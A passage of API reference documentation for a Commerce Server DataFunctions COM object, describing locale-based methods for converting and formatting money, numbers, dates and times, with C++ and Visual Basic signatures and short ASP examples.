[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::Float

[C++] IDataFunctions_4_0::ValidateFloat

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.Float

[Visual Basic] DataFunctions.ValidateFloat


IDataFunctions_4_0::ConvertMoneyStringToNumber Method [C++]

DataFunctions.ConvertMoneyStringToNumber Method [Visual Basic]

Use this method to convert a money string to a number, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertMoneyStringToNumber(
 VARIANT vtMoney,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertMoneyStringToNumber(
 vtMoney As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtMoney [C++]
[in] A VARIANT that contains a string representation of the monetary value to convert.
vtMoney [Visual Basic]
A Variant that contains a string representation of the monetary value to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted monetary value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an integer Variant that represents the value of the specified string in the base monetary unit of the specified locale; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

The ConvertMoneyStringToNumber method returns the value in the base monetary unit for a given locale. Thus, given a value in dollars, ConvertMoneyStringToNumber returns the number of cents in the dollar value.

Additionally, ConvertMoneyStringToNumber does not round values. For example, if you pass this method "123.009" the method returns 12300, not 12301.

This method returns a Variant of type long, not an OLE currency type.

In some cases, this method returns NULL when converting a string representation of monetary value to the currency Variant type for Swedish and Portuguese Standard locales. To avoid this problem, use the Microsoft Visual Basic Scripting Edition (VBScript) function Replace(MoneyString, CurrencyDigitGroupingSymbol, "") to remove the currency digit grouping symbol from the money string prior to calling the method ConvertMoneyStringToNumber.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
Amount = "12000"
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertMoneyStringToNumber("34.095", myLocale)
Response.Write "USA: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertFloatString

[C++] IDataFunctions_4_0::ConvertNumberString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertFloatString

[Visual Basic] DataFunctions.ConvertNumberString


IDataFunctions_4_0::ConvertNumberString Method [C++]

DataFunctions.ConvertNumberString Method [Visual Basic]

Use this method to convert an integer represented as a string to an integer Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertNumberString(
 VARIANT vtNum,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertNumberString(
 vtNum As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtNum [C++]
[in] A VARIANT that contains a string representation of the number to convert.
vtNum [Visual Basic]
A Variant that contains a string representation of the number to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted number.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an integer Variant containing the converted number; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

The ConvertNumberString method is designed to accept only integers. Passing a floating-point number as the vtNum parameter results in an error. To convert floating-point numbers, use the ConvertFloatString method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' Converts integer string using US and France locales
' vSourceInt is a variant containing an integer string
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertNumberString(vSourceInt , _
    myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertNumberString(vSourceInt , _
    myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertFloatString

[C++] IDataFunctions_4_0::Number

[C++] IDataFunctions_4_0::ValidateNumber

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertFloatString

[Visual Basic] DataFunctions.Number

[Visual Basic] DataFunctions.ValidateNumber


IDataFunctions_4_0::ConvertStringToCurrency Method [C++]

DataFunctions.ConvertStringToCurrency Method [Visual Basic]

Use this method to convert a string representation of a monetary value into a currency Variant, based on the specified locale and currency symbol.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertStringToCurrency(
 VARIANT vtMoneyString,
 VARIANT vtLocale,
 VARIANT vtCurrencySymbol,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertStringToCurrency(
 vtMoneyString As Variant,
 Optional vtLocale As Variant,
 Optional vtCurrencySymbol As Variant
) As Variant

Parameters

vtMoneyString [C++]
[in] A VARIANT that contains the currency string to convert.
vtMoneyString [Visual Basic]
A Variant that contains the currency string to convert.
vtLocale [C++]
[in, optional] A VARIANT that contains the locale to be used when converting the string to a currency VARIANT. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use when converting the string to a currency Variant. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtCurrencySymbol [C++]
[in, optional] A VARIANT that contains the currency symbol to expect when converting the currency string.
vtCurrencySymbol [Visual Basic]
A Variant that contains the currency symbol to expect when converting the currency string.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the converted monetary value. This will be set to NULL if the monetary value string is not valid.

Return Values

[C++] The parameter pvtRet returns the parsed value or NULL if the input monetary value is not parsable. The method returns a failed HRESULT upon critical error, such as receiving an invalid argument.

[Visual Basic] If this method completes successfully, it returns a Variant used to return the string representation of the converted monetary value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
' vtAmount is a string representation of a monetary value
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set to USA
myLocale = 1033
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertStringtoCurrency(vtAmount, _
    myLocale, "$")
Response.Write "USA: " & Result & "<P>"

%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::LocalizeCurrency

[C++] IDataFunctions_4_0::ConvertMoneyStringToNumber

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.LocalizeCurrency

[Visual Basic] DataFunctions.ConvertMoneyStringToNumber


IDataFunctions_4_0::ConvertTimeString Method [C++]

DataFunctions.ConvertTimeString Method [Visual Basic]

Use this method to convert a time string to a date Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertTimeString(
 VARIANT vtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertTimeString(
 vtDate As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtDate [C++]
[in] A VARIANT that specifies a string representation of the time to convert.
vtDate [Visual Basic]
A Variant that specifies a string representation of the time to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted time value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a date Variant that contains the time; otherwise, NULL is returned. Additionally, if the string representation contains a date, ConvertTimeString returns NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
' vtTimeString is a string representation of a time value
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set to USA
myLocale = 1033
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertTimeString(vtTimeString , myLocale)
Response.Write "USA: " & Result & "<P>"

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::Time

[C++] IDataFunctions_4_0::ValidateDateTime

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.Time

[Visual Basic] DataFunctions.ValidateDateTime


IDataFunctions_4_0::Date Method [C++]

DataFunctions.Date Method [Visual Basic]

Use this method to convert a date Variant to a string representation of the specified date, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::Date(
 DATE dtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Date(
 dtDate As Date,
 vtLocale As Variant
) As Variant

Parameters

dtDate [C++]
[in] A DATE VARIANT that contains the date to format.
dtDate [Visual Basic]
A Date Variant that contains the date to format.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the date to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the date to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the date value formatted as a string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the date value formatted as a string; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result, vtDateVar
' vtDateVar is a date variant containing a valid date
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Date(vtDateVar)
Response.Write "USA: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::DateTime

[C++] IDataFunctions_4_0::ValidateDateTime

[C++] IDataFunctions_4_0::ConvertDateString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.DateTime

[Visual Basic] DataFunctions.ValidateDateTime

[Visual Basic] DataFunctions.ConvertDateString


IDataFunctions_4_0::DateTime Method [C++]

DataFunctions.DateTime Method [Visual Basic]

Use this method to convert a date Variant to a string representation of the specified date value based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::DateTime(
 DATE dtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function DateTime(
 dtDate As Date,
 vtLocale As Variant
) As Variant

Parameters

dtDate [C++]
[in] A DATE that contains the date/time value to convert.
dtDate [Visual Basic]
A Date that contains the date/time value to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the Date Variant to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the Date Variant to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the specified date/time value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the string representation of the specified date/time value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result, vtDateVar
' vtDateVar is a date variant containing a valid date time value
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.DateTime(vtDateVar)
Response.Write "USA: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::Date

[C++] IDataFunctions_4_0::ValidateDateTime

[C++] IDataFunctions_4_0::Time

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.Date

[Visual Basic] DataFunctions.ValidateDateTime

[Visual Basic] Page.RequestTime


IDataFunctions_4_0::Float Method [C++]

DataFunctions.Float Method [Visual Basic]

Use this method to convert a number stored in a double to a string representation of that number, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::Float(
 double fNumber,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Float(
 fNumber As Double,
 vtLocale As Variant
) As Variant

Parameters

fNumber [C++]
[in] A double (8-byte floating point number) that contains the floating-point number to convert.
fNumber [Visual Basic]
A Double that contains the floating-point number to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the floating-point number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the floating-point number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the specified floating-point number.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the string representation of the specified floating-point number; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
Amount = "12000"
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
myInputFloat = 100.00010
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Float(myInputFloat, myLocale,True, False)
Response.Write "USA, No Rounding, With Trailing: " & Result & "<P>"
Result = MSCSDataFunctions.Float(myInputFloat, myLocale,True, True)
Response.Write "USA, No Rounding, Trim Trailing: " & Result & "<P>"
Result = MSCSDataFunctions.Float(myInputFloat, myLocale,False, False)
Response.Write "USA, Rounding, With Trailing: " & Result & "<P>"
Result = MSCSDataFunctions.Float(myInputFloat, myLocale,False, True)
Response.Write "USA, Rounding, Trim Trailing: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ValidateFloat

[C++] IDataFunctions_4_0::ConvertFloatString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ValidateFloat

[Visual Basic] DataFunctions.ConvertFloatString


IDataFunctions_4_0::GetLocaleInfo Method [C++]

DataFunctions.GetLocaleInfo Method [Visual Basic]

Use this method to get information on the specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::GetLocaleInfo(
 long vtInfo,
 VARIANT vtLocale,
 VARIANT* pvarRet
);
[Visual Basic]
Function GetLocaleInfo(
 vtInfo As Long,
 vtLocale As Variant
) As Variant

Parameters

vtInfo [C++]
[in] A long that specifies the type of locale information to return in the pvarRet parameter. This value must map to one of the LCTYPE constants. For information about these constants, see the Win32 SDK Help.
vtInfo [Visual Basic]
A Long that indicates the type of locale information to return. This value must map to one of the LCTYPE constants. For information about these constants, see the Win32 SDK Help.
vtLocale [C++]
[in] A VARIANT that identifies the locale for which to return information. If this VARIANT is empty (VT_EMPTY) or null (VT_NULL), the method returns information for the locale specified by the most recent call to put_Locale.
vtLocale [Visual Basic]
A Variant that identifies the locale for which to return information. If this Variant is empty (VT_EMPTY) or null (VT_NULL), the method returns information for the locale specified by the most recent call to put_Locale.
pvarRet [C++]
[out, retval] A pointer to a VARIANT used to return the requested locale information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the requested locale information; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

The Locale property stores a number value that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. For those DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value of this property is used.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Dim vtResult, lInfo
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
vtResult = MSCSDataFunctions.GetLocaleInfo(lInfo, myLocale)

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale


IDataFunctions_4_0::GetLocaleList Method [C++]

DataFunctions.GetLocaleList Method [Visual Basic]

Use this method to retrieve a SimpleList object that contains the locales available on the computer.

Definition

[C++]
HRESULT IDataFunctions_4_0::GetLocaleList(
 VARIANT* pvarList
);
[Visual Basic]
Function GetLocaleList() As Variant

Parameters

pvarList [C++]
[out, retval] A pointer to a VARIANT used to return a SimpleList object that specifies the locales available on the computer.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object Variant that references a SimpleList object that specifies the locales available on the computer.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale


IDataFunctions_4_0::LocalizeCurrency Method [C++]

DataFunctions.LocalizeCurrency Method [Visual Basic]

Use this method to retrieve a string representation of a currency value formatted to a specified locale and currency symbol.

Definition

[C++]
HRESULT IDataFunctions_4_0::LocalizeCurrency(
 VARIANT cyCurrency,
 VARIANT vtLocale,
 VARIANT vtCurrencySymbol,
 VARIANT* pvtRet
);
[Visual Basic]
Function LocalizeCurrency(
 cyCurrency As Variant,
 Optional vtLocale As Variant,
 Optional vtCurrencySymbol As Variant
) As Variant

Parameters

cyCurrency [C++]
[in] A currency VARIANT that contains the value to format as a string.
cyCurrency [Visual Basic]
A currency Variant that contains the value to format as a string.
vtLocale [C++]
[in, optional] A VARIANT that contains the locale to use when formatting the string.
vtLocale [Visual Basic]
A Variant that contains the locale to use when formatting the string.
vtCurrencySymbol [C++]
[in, optional] A VARIANT that contains the currency symbol to use when formatting the string.
vtCurrencySymbol [Visual Basic]
[in, optional] A Variant that contains the currency symbol to use when formatting the string.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the currency value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the formatted string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
' vtAmount is a Currency Variant
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set to USA
myLocale = 1033
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.LocalizeCurrency(vtAmount, myLocale, "$")
Response.Write "USA: " & Result & "<P>"

' Set to Minbar
myLocale = 1036
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.LocalizeCurrency(vtAmount, myLocale, "MB")
Response.Write "Minbar: " & Result & "<P>"

%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertStringToCurrency

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertStringToCurrency


IDataFunctions_4_0::Money Method [C++]

DataFunctions.Money Method [Visual Basic]

Use this method to convert a long that contains a monetary value to an equivalent string representation, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::Money(
 long lMoney,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Money(
 lMoney As Long,
 vtLocale As Variant
) As Variant

Parameters

lMoney [C++]
[in] A long that contains the monetary value to convert to a string, specified in the base monetary unit of the locale used to perform the conversion. (This value is not an OLE currency type.)
lMoney [Visual Basic]
A Long that contains the monetary value to convert to a string, specified in the base monetary unit of the locale used to perform the conversion. (This value is not an OLE currency type.)
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the monetary value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the monetary value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the resultant string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains a string representation of the specified monetary value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
' Amount is a long containing a monetary value in base currency units
' (base currency unit for US is cents)
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Money(Amount, myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Money(Amount, myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertMoneyStringToNumber

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertMoneyStringToNumber


IDataFunctions_4_0::Number Method [C++]

DataFunctions.Number Method [Visual Basic]

Use this method to convert a long integer to its equivalent string representation, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::Number(
 long lNumber,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Number(
 lNumber As Long,
 vtLocale As Variant
) As Variant

Parameters

lNumber [C++]
[in] A long that contains the number to convert to a string.
lNumber [Visual Basic]
A Long that contains the number to convert to a string.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the specified number.

Return Values

